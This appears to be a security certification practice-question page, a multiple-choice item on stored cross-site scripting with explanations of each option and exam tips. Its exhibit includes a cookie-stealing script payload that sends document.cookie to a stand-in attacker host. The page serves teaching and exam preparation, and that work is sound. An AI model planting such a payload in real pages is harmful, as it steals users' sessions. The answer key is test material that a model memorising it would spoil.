mediummultiple choiceObjective-mapped

Exhibit

Support ticket excerpt:

A customer posted the following in a public product review field:
<script>fetch('https://evil.example/steal?c='+document.cookie)</script>

The same script later appeared in the review page for other visitors, and the security team found several unexpected requests to the attacker-controlled domain.

Based on the exhibit, what vulnerability is the application most likely suffering from?

Question 1mediummultiple choice
Full question →

Based on the exhibit, what vulnerability is the application most likely suffering from?

Answer choices

Why each option matters

Good practice is not just finding the correct option. The wrong answers often show the exact trap the exam wants you to fall into.

A

Best answer

Stored cross-site scripting, because attacker-controlled script is saved and later rendered to other users.

Stored cross-site scripting is correct because the malicious script was submitted once, saved by the application, and then executed for other visitors when the review was displayed. The evidence of requests to the attacker domain confirms that the browser executed the injected script and exposed user data.

B

Distractor review

Command injection, because the script attempts to send cookies to a remote host.

Command injection targets the server's operating system or shell, usually through system commands. This exhibit shows browser-side script execution in a review page, not OS command execution.

C

Distractor review

Session fixation, because users saw the same review page after posting.

Session fixation involves forcing or reusing a session identifier so the attacker can hijack an authenticated session. The exhibit describes injected script stored in content, not a manipulated session token.

D

Distractor review

Insecure deserialization, because the payload is embedded in a review field.

Insecure deserialization requires unsafe parsing of serialized objects. The payload here is executable script in a web page field, which is characteristic of XSS rather than object deserialization.

Common exam trap

Common exam trap: answer the scenario, not the keyword

Many certification questions include familiar terms but test a specific constraint. Read the exact wording before choosing an answer that is generally true but wrong for this case.

Technical deep dive

How to think about this question

This question should be treated as a scenario, not a definition check. Identify the problem, the constraint and the best action. Then compare each option against those facts.

KKey Concepts to Remember

  • Read the scenario before looking for a memorised answer.
  • Find the constraint that changes the correct option.
  • Eliminate answers that are true in general but not in this case.
  • Use explanations to understand the rule behind the answer.

TExam Day Tips

  • Underline the problem statement mentally.
  • Watch for words such as best, first, most likely and least administrative effort.
  • Review why wrong options are wrong, not only why the correct option is correct.

Related practice questions

Related SY0-701 practice-question pages

Use these pages to review the topic behind this question. This is how one missed question becomes focused revision.

More questions from this exam

Keep practising from the same exam bank, or move into a focused topic page if this question exposed a weak area.

FAQ

Questions learners often ask

What does this SY0-701 question test?

Read the scenario before looking for a memorised answer.

What is the correct answer to this question?

The correct answer is: Stored cross-site scripting, because attacker-controlled script is saved and later rendered to other users. — The correct answer is stored cross-site scripting. The attacker submits script code into a public review field, and the application later serves that content to other users without neutralizing it. That means the payload is stored on the server and executed in other visitors' browsers. The cookie-stealing request to the attacker's domain is a clear indicator that the malicious script ran successfully in a client context. Why others are wrong: Command injection would affect the server or backend shell, not users' browsers. Session fixation is about controlling a session ID, which is not shown here. Insecure deserialization involves unsafe object handling, not a script field in a review page. Because the payload is saved and replayed to other visitors, stored XSS is the best answer.

What should I do if I get this SY0-701 question wrong?

Then try more questions from the same exam bank and focus on understanding why the wrong options are tempting.

Discussion

Loading comments…

Sign in to join the discussion.